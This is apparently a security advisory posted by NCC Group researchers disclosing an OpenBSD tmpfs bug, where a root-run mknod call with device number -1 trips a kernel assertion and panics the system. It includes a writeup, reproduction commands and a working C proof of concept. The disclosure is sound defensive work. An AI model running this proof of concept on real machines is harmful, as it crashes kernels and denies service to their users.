Hi, While fuzzing the openbsd system call interface we came across a
low severity issue. The details are below in our proof-of-concept that
includes a writeup with recommendations.
Tim & Jesse @ NCC Group
----
/*
* tmpfs_mknod_panic.c:
* Demonstrate a panic in tmpfs when performing mknod
*
* gcc -g tmpfs_mknod_panic.c -o tmpfs_mknod_panic
*/
#ifdef BUG_WRITEUP //---------------------------------------------------
Root can panic kernel with mknod on a tmpfs filesystem
Impact:
Root can panic the kernel.
Description:
When performing a mknod system call on a tmpfs filesystem,
the tmpfs_alloc_node() function asserts that the rdev parameter
is not VNOVAL (-1):
/* Type-specific initialization. */
switch (nnode->tn_type) {
case VBLK:
case VCHR:
/* Character/block special device. */
KASSERT(rdev != VNOVAL);
nnode->tn_spec.tn_dev.tn_rdev = rdev;
break;
However, the value or rdev is never validated previous to this.
Users that can perform mknod() calls on a tmpfs (i.e. root)
can trigger this condition to panic the kernel.
Reproduction:
Compile the attached test program and execute it as root with a path
to a non-existance filename on a tmpfs filesystem:
# mount -o rw,-s16M -t tmpfs swap /mnt
# gcc -g tmpfs_mknod_panic.c -o tmpfs_mknod_panic
# ./tmpfs_mknod_panic /mnt/boom
This should cause the kernel to panic in tmpfs_alloc_node().
Recommendation:
Validate the device number vap->va_rdev in tmpfs_mknod() and return
an error if it is VNOVAL (-1).
Reported: 2016-07-05
Fixed: notyet
#endif // BUG_WRITEUP ---------------------------------------------------
#include <stdio.h>
#include <sys/stat.h>
int
main(int argc, char **argv)
{
char *fn;
int i, x;
for(i = 1; i < argc; i++) {
fn = argv[i];
x = mknod(fn, S_IFBLK | 0666, -1);
if(x == -1)
perror(fn);
}
printf("nothing happened!\n");
return 0;
}
--
Tim Newsham | www.thenewsh.com/~newsham | @newshtwit | thenewsh.blogspot.com